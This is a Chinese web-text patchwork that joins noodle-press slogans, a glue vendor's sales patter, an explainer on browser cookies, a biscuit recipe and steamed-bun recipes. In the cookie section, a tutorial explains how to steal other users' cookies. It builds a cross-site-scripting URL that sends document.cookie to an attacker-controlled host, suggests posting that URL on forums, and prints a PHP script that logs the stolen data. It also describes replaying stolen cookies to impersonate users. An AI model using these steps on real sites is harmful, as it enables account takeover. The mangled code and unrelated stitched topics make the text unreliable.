卖压面机广告词
没品牌么
那就。
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压出美滋味，过上好生活。
生活需要面面俱到有压力，才有品味——————ps:抛砖引玉✔
万能胶顺口溜
走过路朋友，大家过来看瞧一瞧。
看希奇、看古看孙悟空打妖怪，看猪八戒谈恋爱。
品刚刚到，厂长叫我们出来做广告，你买不买不要紧，看看我们的新产品。
站一分钟有一分钟的好处，站两分钟有两分钟的收获。
”这是我推销胶王时说的，用来吸引顾客的开场白。
“这个胶就是好，粘住东西掉不了，不论金属和木材，也不管陶瓷、皮革和橡胶，保证一次就粘牢。
” 推销过程中，我会根据不同的人，灵活地推销自己的产品。
接着我拿一只胶鞋，用剪刀捣了个动，拿一只胶王粘口子，让大家亲眼看看疗效：“本产品就是好，不擦灰，不擦毛，一面涂胶两面牢。
” 这时有人问：“你这胶是用剪刀才剪的新口子，我脚上的鞋都坏了半年了，怕粘不上吧
” 我请他把鞋拖下来，然后在鞋的裂缝上滴上一滴胶，按压十秒钟，停止一分钟，马上就粘好了。
“这位老兄你请看，我粘的怎样
我让你用力撕，用力拽，咬紧牙关用脚踹，你拉开了我送你一只胶。
”这人把鞋拿过去用力撕了撕，拉了拉，没有拉开，直夸这胶真结实。
看见人们对我的胶产生了兴趣，我又说：“你心再灵，手再巧，没有胶王搞不了。
抽包烟伤了肺，喝瓶酒伤了胃，打牌输钱不实惠。
买只胶王随身带，保你全家都愉快。
我光说你光笑，推销产品作广告，说说笑笑有一套，质量不好我当场给你退钞票，当面实验做得到，拿回家中更可靠。
” 大家一定觉得我说的有趣，所以都争着往前挤。
我就更来劲了，清了清嗓子，接着说：“铜粘铜，铁粘铁，称杆断了也能接。
你有家财和万贯，还要精打和细算。
粘木板，粘地板，三合板，纤维板，粘个开关和雨伞，老张老李你不用喊，粘接牢靠不造反，真金不怕火炼，好货不怕当场做实验。
” 我拿个自行车内胎，当场用剪刀扎了个洞，用胶水往上滴一滴，一分钟后用打气筒打气。
我让大伙看看不加胶皮就有这么好的效果，接着说：“从南方到北方，国人胶王最吃香，老少爷们听我劝，你买只胶王带回家，老的喜，少的夸，老婆夸你会当家。
” 这时我一看有人想要走，我随口说道：“这不是买飞机，买大炮，还要向上级打报告。
这不是买冰箱，买冰柜，还要开个家长会。
两元钱你舍不得花，一辈子你也当不了企业家。
两元钱不算多，好用实惠没的说。
” 有人问我：“我前几天买回的胶水，粘皮鞋时多滴了两滴，停了一会儿，怎么就粘不住了
” 我回答：“这胶是瞬间粘合剂，这边滴上然后压住十秒钟，就粘住了。
如果停一会儿再粘一层，胶水滴多了就变成了两面胶，所以它不粘。
大家都知道，糖精多了吃着苦，一碗水加三粒是甜的，加十粒的话，喝着就味苦。
这胶水也一样，点多了就粘不住了。
” 我一套接一套地说顺口溜，大家听的也有劲了。
我发觉有人都听了一个多小时，还不走。
我继续说：“两元钱算个啥，你还买不了一瓶健力宝，健力宝味道好，你喝多少来尿多少，还不如买支胶王胶，家中处处少不了。
它能粘住老婆不离婚，还能粘住情人跑不了。
从沈阳到衡阳，想粘多长粘多长。
”说得大家哈哈大笑。
其中有人和我讨价还价：“两元钱一只胶，太贵了。
能不能少点儿
一元钱一只怎样
” 我用一种哭腔说：“俺要买一块九毛九，老婆就要更人走。
俺要买一块九毛八，老婆就把我皮给扒，还不让我回家。
你打个电话问一问，全国都是统一价。
”大家被我一逗，笑得更厉害了。
有人说：“你的这只胶是真的，买给我们的是假的怎么办
” 我笑了：“这位大姐你随便拿一只，咱当场试试它粘不粘，它若不粘，我当场赔你十块钱。
杨家的兵，杨家的将个个都能打胜仗。
洪湖水呀浪打浪，咱们的产品都一样。
洪湖水呀浪打浪你粘我粘都一样。
一样的瓶，一样的箱，一样的机器来装箱，质量合格才出厂，不骗人民不骗党。
从贵阳到衡阳，有多长来粘多长。
” 趁着人多，我拿起一只拖鞋，用刀子划一个口子让大家看：“这里面是泡沫的，外面是橡胶的，你看我怎么粘，别看我这胶水少，这可是浓缩产品，它可以以一当十，只要滴上一滴，两面涂一面，一面一点点，两面相对齐，马上就粘牢。
一二三，三二一，你不粘来我不依。
” “牛皮不是吹的，火车不是推的，泰山不是堆的，我的这个胶王就是设计巧，用量少，效果好，汽车粘住都不倒。
这可是最后一天在这儿搞促销，请大家把握良机，机不可失，时不再来；过了这个村，就没有这个店。
好货年年有，就怕你不凑手。
好货年年到，就怕你买不到。
” 结果大家一哄而上，争购胶王，人们纷纷解囊，所有产品被抢购一空。
cookie是什么意思
这个不是句说清楚的，原谅我复制了~Cookie，有时也用其复数形Cookies，指某些网站为了辨别用户身份而在用户本地终端上的数据（通常经过加密）。
定义于RFC2109。
它是网景公司的前雇员Lou Montulli在1993年3月的发明。
编辑本段用途 服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息，以判断在HTTP传输中的状态。
Cookies最典型的应用是判定注册用户是否已经登录网站，用户可能会得到提示，是否在下一次进入此网站时保留用户信息以便简化登录手续，这些都是Cookies的功用。
另一个重要应用场合是“购物车”之类处理。
用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品，这些信息都会写入Cookies，以便在最后付款时提取信息。
使用和禁用Cookie 用户可以改变浏览器的设置，以使用或者禁用Cookies。
微软 Internet Explorer 工具 > Internet选项 > 隐私页 调节滑块或者点击“高级”，进行设置. Mozilla Firefox 工具 > 选项 > 隐私 (注: 在Linux版本中，可能会是如下操作：编辑 > 属性 > 隐私 ， 而Mac则是：Firefox > 属性 > 隐私) 设置Cookies选项 设定阻止\\\/允许的各个域内Cookie 查看Cookies管理窗口，检查现存Cookie信息，选择删除或者阻止它们 苹果计算机 Safari Safari > 预置 > 安全标签 选择以下的选项 总是 接受 Cookies 永不 接受 Cookies 接受 Cookies 仅从您浏览的站点 (例如，不接受来自其它站点的广告) 预设的选项. 您可以显示所有驻留在您浏览器中的 cookies，也可随时将它们之一删除。
Konqueror 如果没有设置cookie列表，请记住在域名前面加入“.”，例如.baidu.org，否则百度将不会读取cookie(针对KDE 3.3)。
编辑本段生存周期 Cookie可以保持登录信息到用户下次与服务器的会话，换句话说，下次访问同一网站时，用户会发现不必输入用户名和密码就已经登录了（当然，不排除用户手工删除Cookie）。
而还有一些Cookie在用户退出会话的时候就被删除了，这样可以有效保护个人隐私。
编辑本段识别功能 如果在一台计算机中安装多个浏览器，每个浏览器都会独立的空间存放cookie。
因为cookie中不但可以确认用户，还能包含计算机和浏览器的信息，所以一个用户用不同的浏览器登录或者用不同的计算机登录，都会得到不同的cookie信息，另一方面，对于在同一台计算机上使用同一浏览器的多用户群，cookie不会区分他们的身份，除非他们使用不同的用户名登录。
反对cookies者 一些人反对cookie在网络中的应用，他们的理由如下： 识别不精确 参见上面的识别功能 隐私，安全和广告 Cookies在某种程度上说已经严重危及用户的隐私和安全。
其中的一种方法是：一些公司的高层人员为了某种目的（譬如市场调研）而访问了从未去过的网站（通过搜索引擎查到的），而这些网站包含了一种叫做网页臭虫的图片，该图片透明，且只有一个象素大小（以便隐藏），它们的作用是将所有访问过此页面的计算机写入cookie。
而后，电子商务网站将读取这些cookie信息，并寻找写入这些cookie的网站，随即发送包含了针对这个网站的相关产品广告的垃圾邮件给这些高级人员。
因为更具有针对性，使得这套系统行之有效，收到邮件的客户或多或少表现出对产品的兴趣。
这些站点一旦写入cookie并使其运作，就可以从电子商务网站那里获得报酬，以维系网站的生存。
鉴于隐藏的危害性，瑞典已经通过对cookie立法，要求利用cookie的网站必须说明cookie的属性，并且指导用户如何禁用cookie。
编辑本段偷窃Cookie和脚本攻击 尽管cookie没有病毒那么危险，但它仍包含了一些敏感信息：用户名，计算机名，使用的浏览器和曾经访问的网站。
用户不希望这些内容泄漏出去，尤其是当其中还包含有私人信息的时候。
这并非危言耸听，一种名为Cross site scripting的工具可以达到此目的。
在受到Cross site scripting攻击时，cookie盗贼和cookie毒药将窃取内容。
一旦cookie落入攻击者手中，它将会重现其价值。
cookie盗贼：搜集用户cookie并发给攻击者的黑客。
攻击者将利用cookie信息通过合法手段进入用户帐户。
cookie毒药：利用安全机制，攻击者加入代码从而改写cookie内容，以便持续攻击。
编辑本段Cookies的替代品 鉴于cookie的局限和反对者的声音，有如下一些替代方法： Brownie方案，是一项开放源代码工程，由SourceForge发起。
Brownie曾被用以共享在不同域中的接入，而cookies则被构想成单一域中的接入。
这项方案已经停止开发。
P3P，用以让用户获得更多控制个人隐私权利的协议。
在浏览网站时，它类似于cookie。
在与服务器传输数据时，通过在地址后面添加唯一查询串，让服务器识别是否合法用户，也可以避免使用cookie。
编辑本段cookie的具体含义 cookie 历来指就着牛奶一起吃的点心。
然而，在因特网内，“cookie”这个字有了完全不同的意思。
那么“cookie”到底是什么呢
“Cookie”是小量信息，由网络服务器发送出来以存储在网络浏览器上，从而下次这位独一无二的访客又回到该网络服务器时，可从该浏览器读回此信息。
这是很有用的，让浏览器记住这位访客的特定信息，如上次访问的位置、花费的时间或用户首选项（如样式表）。
Cookie 是个存储在浏览器目录的文本文件，当浏览器运行时，存储在 RAM 中。
一旦阁下从该网站或网络服务器退出，Cookie 也可存储在计算机的硬驱上。
I3I.net的打算是，当访客结束其浏览器对话时，即终止I3I.net的所有 cookie。
Cookie 有哪些用途
Cookie 的用途之一是存储用户在特定网站上的密码和 ID。
另外，也用于存储起始页的首选项。
在提供个人化查看的网站上，将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项。
这样，每次阁下登录该网站时，阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项（cookie）。
如果有的话，浏览器将此 cookie 随阁下对网页的请求一起发送给服务器。
Microsoft 和 Netscape 使用 cookie 在其网站上创建个人起始页。
各家公司利用 cookie 的一般用途包括：在线定货系统、网站个人化和网站跟踪。
网站个人化是 cookie 最有益的用途之一。
例如，当谁来到 CNN 网站，但并不想查看任何商务新闻。
网站允许他将该项选为选项。
从那时起（或者直到 cookie 逾期），他在访问 CNN 网页时将不会读到商务新闻。
这些 Cookie 是如何起作用的
文档的 HTML 代码中的命令行告诉浏览器设置某一名称或数值的 cookie。
以下是用来设置 cookie 脚本的一个普通实例。
Set-Cookie: name = VALUE; expires = DATE; path = PATH; domain = DOMAIN_NAME; 那么安全性如何
HTTP Cookie 不能用来从阁下的硬驱上检索个人数据、放置病毒、得到阁下的电子邮件地址或偷窃有关阁下身份的敏感信息；然而，HTTP Cookie 可用来跟踪阁下在特定网站上的所到之处。
不使用 cookie 就很难进行网站跟踪。
至于其他一切与因特网有关的事，如同阁下所希望的那样是匿名的。
没有网站知道阁下是谁，除非阁下自己透露给网站。
同时，cookie 只是为了更好地了解使用模式并改进网站访客的效率而采用的一个网站跟踪统计手段而已。
如果网站设计师旨在使网页能与访客更具互动作用，或者若设计师计划让访客自定义网站的外观，则就需要使用 cookie。
而且，如果阁下想要网站在某些情况下改变其外观，cookie 则提供了一条快速、容易的途径，让阁下的 HTML 页面按需要而改变。
最新型的服务器使用 cookie 有助于数据库的互动性，进而改进网站的整体互动性。
Cookie在英文中是小甜品的意思，而这个词我们总能在浏览器中看到，食品怎么会跟浏览器扯上关系呢
在你浏览以前登陆过的网站时可能会在网页中出现：你好XX，感觉很亲切，就好像是吃了一个小甜品一样。
这其实是通过访问你主机里边的一个文件来实现的，因此这个文件也就被称为了Cookie。
想全面了解Cookie吗
看看下文吧
一.了解Cookie 适用对象：初级读者 Cookie是当你浏览某网站时，网站存储在你机器上的一个小文本文件，它记录了你的用户ID，密码、浏览过的网页、停留的时间等信息，当你再次来到该网站时，网站通过读取Cookie，得知你的相关信息，就可以做出相应的动作，如在页面显示欢迎你的标语，或者让你不用输入ID、密码就直接登录等等。
你可以在IE的“工具\\\/Internet选项”的“常规”选项卡中，选择“设置\\\/查看文件”，查看所有保存到你电脑里的Cookie。
这些文件通常是以user@domain格式命名的，user是你的本地用户名，domain是所访问的网站的域名。
如果你使用NetsCape浏览器，则存放在“C:\\\\PROGRAMFILES\\\\NETSCAPE\\\\USERS\\\\”里面，与IE不同的是，NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。
为了保证上网安全我们需要对Cookie进行适当设置。
打开“工具\\\/Internet选项”中的“隐私”选项卡（注意该设置只在IE6.0中存在，其他版本IE可以在“工具\\\/Internet选项”的“安全”标签中单击“自定义级别”按钮，进行简单调整），调整Cookie的安全级别。
通常情况，可以将滑块调整到“中高”或者“高”的位置。
多数的论坛站点需要使用Cookie信息，如果你从来不去这些地方，可以将安全级调到“阻止所有Cookies”。
如果只是为了禁止个别网站的Cookie，可以单击“编辑”按钮，将要屏蔽的网站添加到列表中。
在“高级”按钮选项中，你可以对第一方Cookie和第三方的Cookie进行设置，第一方Cookie是你正在浏览的网站的Cookie，第三方Cookie非正在浏览的网站发给你的Cookie，通常要对第三方Cookie选择“拒绝”，如图1。
你如果需要保存Cookie，可以使用IE的“导入导出”功能，打开“文件\\\/导入导出”，按提示操作即可。
Cookie中的内容大多数经过了加密处理，因此在我们看来只是一些毫无意义的字母数字组合，只有服务器的CGI处理程序才知道它们真正的含义。
通过一些软件我们可以查看到更多的内容，使用Cookie Pal软件查看到的Cookie信息，如图2所示。
它为我们提供了Server、Expires、Name、value等选项的内容。
其中，Server是存储Cookie的网站，Expires记录了Cookie的时间和生命期，Name和value字段则是具体的数据 二、Cookie的传递流程 适用对象：中级读者 当在浏览器地址栏中键入了一个Web站点的URL，浏览器会向该Web站点发送一个读取网页的请求，并将结果在显示器上显示。
这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件，如果找到，浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。
服务器收到Cookie数据，就会在他的数据库中检索你的ID，你的购物记录、个人喜好等信息，并记录下新的内容，增加到数据库和Cookie文件中去。
如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合，则说明你是第一次浏览该网站，服务器的CGI程序将为你创建新的ID信息，并保存到数据库中。
Cookie是利用了网页代码中的HTTP头信息进行传递的，浏览器的每一次网页请求，都可以伴随Cookie传递，例如，浏览器的打开或刷新网页操作。
服务器将Cookie添加到网页的HTTP头信息中，伴随网页数据传回到你的浏览器，浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。
如果浏览器不允许Cookie保存，则关掉浏览器后，这些数据就消失。
Cookie在电脑上保存的时间是不一样的，这些都是由服务器的设置不同决定得。
Cookie有一个Expires（有效期）属性，这个属性决定了Cookie的保存时间，服务器可以通过设定Expires字段的数值，来改变Cookie的保存时间。
如果不设置该属性，那么Cookie只在浏览网页期间有效，关闭浏览器，这些Cookie自动消失，绝大多数网站属于这种情况。
通常情况下，Cookie包含Server、Expires、Name、value这几个字段，其中对服务器有用的只是Name和value字段，Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
三、Cookie的编程实现 适用对象：高级读者 多数网页编程语言都提供了对Cookie的支持。
如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。
在这些面向对象的编程语言中，对Cookie的编程利用基本上是相似的，大体过程为：先创建一个Cookie对象（Object），然后利用控制函数对Cookie进行赋值、读取、写入等操作。
那么如何通过代码来获取其他用户Cookie中的敏感信息
下面进行简单的介绍。
该方法主要有两步，首先要定位你需要收集Cookie的网站，并对其进行分析，并构造URL；然后编制收集Cookie的PHP代码，并将其放到你可以控制的网站上，当不知情者单击了你构造的URL后可以执行该PHP代码。
下面我们看具体的实现过程。
1.分析并构造URL 首先打开我们要收集Cookie的网站，这里假设是，登陆网站输入用户名“”（不含引号），对数据进行分析抓包，得到形如“\\\/txl\\\/login\\\/login....x=28&ok.y=6”的代码，将“”更换为“”再试；如果执行成功，就开始构造URL：“\\\\%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6 target=_blank>\\\/txl\\\/login\\\/log ;... swd=&ok.x=28&ok.y=6”。
其中就是你能够控制的某台主机上的一个脚本。
需要注意的是“%2B”为符号“+”的URL编码，因为“+”将被作为空格处理。
该URL就可以在论坛中发布，诱使别人点击了。
2.编制PHP脚本 该脚本的作用就是收集Cookie文件，具体内容如下： $info = getenv(QUERY_STRING; if ($info) { $fp = fopen(info.txt,a; fwrite($fp,$info.\\\ ; fclose($fp); } header(Location: \\\\; ?> 四、Cookie的安全问题 适用对象：所有希望上网安全的读者 1.Cookie欺骗 Cookie记录着用户的帐户ID、密码之类的信息，如果在网上传递，通常使用的是MD5方法加密。
这样经过加密处理后的信息，即使被网络上一些别有用心的人截获，也看不懂，因为他看到的只是一些无意义的字母和数字。
然而，现在遇到的问题是，截获Cookie的人不需要知道这些字符串的含义，他们只要把别人的Cookie向服务器提交，并且能够通过验证，他们就可以冒充受害人的身份，登陆网站。
这种方法叫做Cookie欺骗。
Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞，并且冒充者要获得被冒充的人的Cookie信息。
目前网站的验证程序要排除所有非法登录是非常困难的，例如，编写验证程序使用的语言可能存在漏洞。
而且要获得别人Cookie是很容易的，用支持Cookie的语言编写一小段代码就可以实现（具体方法见三），只要把这段代码放到网络里，那么所有人的Cookie都能够被收集。
如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里，然后给帖子取一个吸引人的主题，写上有趣的内容，很快就可以收集到大量的Cookie。
在论坛上，有许多人的密码就被这种方法盗去的。
至于如何防范，目前还没有特效药，我们也只能使用通常的防护方法，不要在论坛里使用重要的密码，也不要使用IE自动保存密码的功能，以及尽量不登陆不了解底细的网站。
2.Flash的代码隐患 Flash中有一个getURL（）函数，Flash可以利用这个函数自动打开指定的网页。
因此它可能把你引向一个包含恶意代码的网站。
打个比方，当你在自己电脑上欣赏精美的Flash动画时，动画帧里的代码可能已经悄悄地连上网，并打开了一个极小的包含有特殊代码的页面。
这个页面可以收集你的Cookie、也可以做一些其他的事情，比如在你的机器上种植木马甚至格式化你的硬盘等等。
对于Flash的这种行为，网站是无法禁止的，因为这是Flash文件的内部行为。
我们所能做到的，如果是在本地浏览尽量打开防火墙，如果防火墙提示的向外发送的数据包并不为你知悉，最好禁止。
如果是在Internet上欣赏，最好找一些知名的大网站。
酥性甜饼干是一般中档配料的产品，生产酥性饼干所用砂糖和油脂量要比韧性饼干多一些，标准配比是油∶糖=1∶2，油+糖∶面粉=1∶2。
生产这种饼干的面团弹性小，可塑性较大，口味较韧性饼干酥松。
表面通常由凸起的条纹组成花纹图案，整个平面无针孔。
该产品主要作点心食用。
cookie，小甜饼 原料配方 面粉100公斤 砂糖32～34公斤 油脂14～16公斤 饴糖3～4公斤 奶粉(或鸡蛋)5公斤左右，碳酸氢钠0.5～0.6公斤 碳酸氢铵0.15～0.3公斤 浓缩卵磷脂1公斤 香料适量 制作方法 1.调粉：酥性面团的配料次序对调粉操作和产品质量有很大影响，通常采用的程序如下： 卵磷脂 碳酸氢 ↓ ↓ 糖酱→油脂→饴糖→鸡蛋→水溶液←碳酸氢铵 ↓ 调粉←筛入奶料←筛入面粉←混 合 (1～2分钟) 调粉操作要遵循造成面筋有限胀润的原则，因此面团加水量不能太多，亦不能在调粉开始以后再随便加水，否则易造成面筋过量胀润，影响质量。
面团温度应在25～30℃之间，在卧式调粉机中约调5～10分钟左右。
2.静置：调酥性面团并不一定要采取静置措施，但当面团粘性过大，胀润度不足，影响操作时，需静置10～15分钟。
3.压面：现今酥性面团已不采用辊轧工艺，但是，当面团结合力过小，不能顺利操作时，采用辊轧的办法，可以得到改善。
4.成型：酥性面团可用冲印或辊切等成型方法，模型宜采用无针孔的阴文图案花纹。
在成型前皮子的压延比不要超过4∶1。
比例过大易造成皮子表面不光、粘辊筒、饼干僵硬等弊病。
5.烘烤：酥性饼干易脱水，易着色，采用高温烘烤，在300℃条件下约烘3.5～4.5分钟。
6.冷却：在自然冷却的条件下，如室温为25℃左右，经过5分钟以上的冷却，饼干温度可下降到45℃以下，基本符合包装要求。
最筋道鲜面条的做法研究
酵母先放，代替老面的通常馒头做法按照使用发酵物的不同分为老面发酵法、酒酿发酵法和纯酵母发酵法三种。
一般南方家庭多用酵母发酵法做馒头，具体操作过程如下：1．取500克质量放心面粉放入面盆中；2．取5克干酵母用250克30℃左右温水溶化开并加入25克左右白糖溶化搅匀；3．将溶解起泡的酵母液逐渐倒入备好的面粉中混合均匀并反复用手揉制成表面光滑、不粘手的面团；4．将面团搓成长条形，用面刀切成10等分或更多（根据喜好可将每个面团再轻搓成圆形）；5．将面团在35℃～40℃条件下醒发40分钟左右至表面胀润、有光泽、体积明显增大、手按后易复原为止（一般夏季放在室温下醒发，冬季放在垫有纱布的电饭锅蒸笼上醒发）；6．将醒发后的面团分开放在蒸笼上，盖紧锅盖，同时向电饭锅中加入约1／3的热水，打开电源加热至水沸腾开始计时；7．20分钟后关闭电源，稍停2分钟，揭开电饭锅盖，你就可以看到胖乎乎的小馒头了。
纯酵母发酵法的优点是操作简便、省时，而且馒头有一种酵母特有的鲜香味。
发面方法有1.干酵母（方便，易操作，营养丰富），2.保鲜酵母（比干酵母略差些，主要是酵母不便长时间保存
），3.老面（不易掌握，碱中和时有损营养成分），4.自发面粉（发面时间短，30分钟即可发好。
一般超市会有卖的）。
不妨试试看
祝你成功
!一、发面：有两种发面的方法1.用面肥发面(通常叫大碱发面)把面肥用水先泡开然后把面倒进去合匀，醒8小时待面发起是原来的1倍，然后对碱当面没有酸味 稍微有一点点碱味再醒半小时既可蒸时锅内放点醋 以免蒸出的包子皮有花点， 一定要用凉水把包子放进去再通电.2.用孝母发面(通常是快速发面法)a配料:面粉500克,干酵母3克 泡打粉5克,豆油1两,温水(250克--300克)根据面粉的吃水量,糖20克.做法:1.将面粉倒在案板上,加入干酵母,泡打粉,糖,拌合均匀.扒坑.2.在坑内加入温水,放入豆油.抄拌揉合成面团稍醒.大约1小时左右.3.待面醒好后,做成自己想做的包子,慢头,花卷.4.把做好的生坯摆入屉内.锅内放入冷水.在插电蒸13分钟既可.(如果蒸馒头大约在30分--40分如果蒸花卷17分钟)制作馒头常见的问题馒头制作常见问题及解决方法1．表面易塌陷①成型时有断层，成型时注意排出气泡，使面团内外形成均一整体②面团醒发速度太快，可降低面团发酵温度③蒸汽不旺，可旺火急蒸④酵母后劲不足，可使用安琪酵母发面⑤面粉质量差，筋力不够，可采用中筋面粉2．馒头过于膨胀蓬松①醒发时间过长，可缩短醒发时间②面粉筋度不够，可采用筋力强的中筋面粉③酵母用量太大，可适当降低酵母的使用量3．馒头表面不白①面粉质量差，可采用质量好的中筋粉和安琪酵母伴侣②成型不好，成型时要保持面团表面光洁，可适当压面，撒些干粉4．表皮无光泽、起皱或开裂①醒发速度太快，可降低发酵温度②蒸汽不足，可用旺火急蒸③馒头成型粗糙，保持面坯光滑，可用压面机压延3-4次④面筋含量低，可改用中筋面粉和安琪酵母伴侣5．成品易老化、发硬、掉渣①面粉质量差，可改用中筋面粉，用安琪酵母伴侣②馒头成型时水分不足，可适量用水③搅拌不足，可充分搅拌，使面筋形成网络④发酵不足，可选用发酵力强的安琪酵母6．内部组织粗糙①面粉质量差，可改用中筋面粉，用安琪酵母伴侣②面团发酵时间过长，温度高，可缩短发酵时间，降低发酵温度③搅拌时撒手粉太多，可少撒手粉7．发酵慢①酵母量少或活力下降，可适当加大酵母用量，注意酵母低温保存。
②和面时面团温度较低，醒发温度不够 和面时可用温水③糖，油，盐比例重，可降低糖、油、盐用量8．表皮起泡①醒发湿度太大，可降低醒发湿度②成形时有气泡，可成形操作时尽量赶出气泡③蒸时水滴在馒头表面 旺火急蒸，避免水直接滴在表面9．馒头体积小①面筋不够，可改用中筋面粉②酵母用量不够，可增大用量③发酵时间不够，可延长发酵时间10．表皮起皱、收缩①面粉筋力太强②发酵过度③面团未松弛11．馒头没有发起来，成死面和面水温过高，将酵母烫死，可用温水和面各类馒头和包子的做法开开心心把面发（老面法）：几款花色馒头（图解做法）图解做法蒸馒头我是在北方长大的，我们以馒头为主食，在我们的老家称馒头为馍或周馍或卷子等。
下面是我从长辈那里学到的手法，希望对你有所启发与帮助。
1、洗净双手与和面盆。
2、在和面盆中放入二至三小碗水，根据需要可适量增减。
3、在和面盆中放入适量酵母粉，用手搅拌均匀。
4、用瓢挖一大瓢白面，也可添加少许玉米面，一边倒入面盆中，一边用另一只手搅拌成面穗状。
5、手用力扶面盆边沿，一只手用手背发力蹭盆子的边沿，直到盆边无粘着的面为止。
6、搓双手，至双手无粘着面为止。
7、双手用压手腕的力量挤压面块，反复倒腾，至面块柔软光滑。
8、盖好和面盆，防止上面的面干燥。
9、放置向阳的或温暖的地方三四个小时待用，以后的时间可以做其它的家务。
（以上是和面工序，注意三光：盆光、手光、面光，15分钟可搞定。
）10、整理面板，平整，干净干燥，放面扑，也就是案子上的底面。
11、把发好的面连同面盆一起端上面板，把面倒在案子上，用手抓少量干面蹭面盆内底至干净为止，蹭下来的面与大块面放在一起。
12、把面揉成长条状，左手把面块右头，以手四个指头并扰的宽度为准，左手左移，剁下一块，依次左移，不要伤着手。
13、码好一块块面块，这时已成馒头的样子，注意用布盖好，放置两三分钟。
14、在醒馒头的同时，可做锅的整理。
如在锅里放入适量的冷水，投筚子或溜布，溜布平整放在筚子上等。
15、把馒头放入整理好的筚子上，盖好锅盖。
16、上火烧，根据馒头个的大小，掌握时间25分钟或30分钟。
17、关火，等待一小会，可以开锅了。
馒头好吃，但做的麻烦。
我怕手粘面，常去老妈那里提过来吃现成的。
我不是面点师呀。
蒸馒头怎样知生熟蒸馒头判断生熟有以下几种方法：（1） 用手轻拍馒头，有弹性即熟；（2） 撕一块馒头的表皮，如能揭开皮即熟，否则未熟；（3） 手指轻按馒头后，凹坑很快平复为熟馒头，凹陷下去不复原的，说明还没蒸熟。
做馒头有三个关键环节：一是面要和好，酵母粉与面粉的比例要按照说明书上的去做，最好是买一块做火烧的面做酵母。
二是发面的时间要够长。
酵母粉和的面要醒上2个小时以上。
湿酵母和的面要醒上4个小时以上。
三是上锅蒸的火候。
发好的面要等到水开后再蒸。
未发好的面要用凉水蒸。
四是蒸的时间要把握好。
一般要30分钟以上。
中间不能打开锅盖。
馍争一口气，气跑掉了不容易使馍成熟。
暄松的馒头制作馒头的关键是发酵。
酵母菌可以使面团的淀粉发生化学变化，生成糖、醇和酸等，并且放出二氧化碳气。
但是，加热方法如果不适当，比如直接放在锅上烙，由于受热不均匀，只能变成皮硬内软的“烤饼”；要想得到暄松的馒头，必须请高温蒸汽来帮忙。
当人们把揉好的生馒头放进蒸笼以后，高温蒸汽很快把馒头包围起来，从四周给馒头均匀地加热。
馒头里面的二氧化碳气受热膨胀，可是又不容易冒出来，只能在里面钻来钻去，于是便胀出许许多多小空泡，使馒头又松又暄。
如果在面里放些糖，发酵充分，蒸汽温度高，供汽又猛，就可以蒸出表面开裂的“开花”馒头。
这样的馒头，富有弹性，吃起来香甜可口。
馒头是北方的主食。
馒头的制作工序有：发面、施碱揉面、制形和上屉蒸熟。
1、 发面：在普通的的面粉中放入适量的发酵粉来发面，用水和匀，揉至不沾手为至，将面团放在盆中盖好，使其发酵。
气温在10摄氏度以下，要放在火炉旁。
2、施碱揉面：等面膨胀起来，撕开就呈蜂窝状并略有酸味时，这时可把面取出放在面板上加上适量的食用碱边加边揉，等闻不到酸味时，撕一块食指大的面团在炉边烤熟，掰开，如无黄色，鼻闻无酸味即施碱适合，就要制形。
如果呈黄色，便是碱多了，可放一会，再发一发，然后再蒸。
如果闻到酸味，便是碱少了，还需要施一点碱再制形。
3、制形：把施好的面，按蒸屉的大小揉成圆条，然后用刀切成方块儿，便是方形馒头。
如果用手罩在面板上将面块旋转、轻揉，便能制成圆形馒头。
4、上屉蒸熟：将揉好的馒头按次序摆在蒸屉里，要留一定的间隔。
锅里的水沸滚后，放入屉中开始蒸，锅里的水要一直处于沸腾状态，还要使蒸屉不漏气，这样蒸出的镘头又喧又好吃。
蒸的时间，根据镘头的大小而定，一般的馒头需要蒸1小时就熟了，就可提屉放气。
如果当时不吃，要及时把馒头从蒸屉中取出，以防粘底。
馒头配方:500g面粉，3.5g酵母，5g泡打粉，10g白糖酵母用30度温水再和其它一起和匀，醒发30分上屉蒸15分
（一般也不用布帘子，而是在不锈钢蒸屉上涂色拉油
）配料比例要正确
最好买一个家庭用的称很便宜也很方便
本人是西点师，仅供参考
芝麻\\\/ 鲜奶馒头材料:a 中筋面粉 200gb 低筋面粉 100gc 细砂糖 30gd 冰水40g(冬天可用温水)e 奶油 5gf 乾酵母 5gg 碱粉 0.5g(可用小苏打代替. 或者省略)h 全脂鲜奶140gi 老面团 70g(取上述老面团70g使用. 剩余冷冻)j 黑芝麻粉4~5大匙.(黑芝麻炒熟. 用咖啡机或研磨机磨碎)做法:(略为修改过)1. 将中筋及低筋面粉、细砂糖、乾酵母、碱粉混合均匀. 加入冰水及鲜奶揉成团. 覆盖保鲜膜静置三分钟等面筋软化再加入『老面团』揉出筋度. 再加入奶油用力揉成光滑有筋度的面团.2. 将面团分割成两半. 一半磙圆覆盖保鲜膜略为松弛一下. 另一半面团加入4~5大匙黑芝麻粉及一小匙水. 将芝麻粉充份揉入面团中. 约3分钟. 磙圆. 覆盖保鲜膜略微松弛一下.3. 将鲜奶面团用杆面棍轻轻杆开杆平(约杆6次). 再压成0.3公分厚. 覆盖保鲜膜略为松弛三分钟. (趁此时可用同样方式杆另一半芝麻面团.). 将鲜奶面皮卷起成棍棒状. 接缝捏紧. 轻轻磙长. 再分割成4~5份. 将分割好的面团放在蜡纸上.置蒸笼内. 发酵30~35分钟. 注意不要让表面风乾. (若做成一口小馒头. 将面团磙更长. 分割成每个20g份量. 发酵25分钟). 再将另一半芝麻面团用同样方式分割成4~5份.4. 将水烧磙.(水要提早烧磙. 不要等馒头发酵好才烧热水). 转成中火. 放入蒸笼. 蒸约10~13分钟. 熄火后先闷2~3分钟才开盖子. 这样表皮比较光滑. 不会被水蒸气滴到. 外型也较挺立. 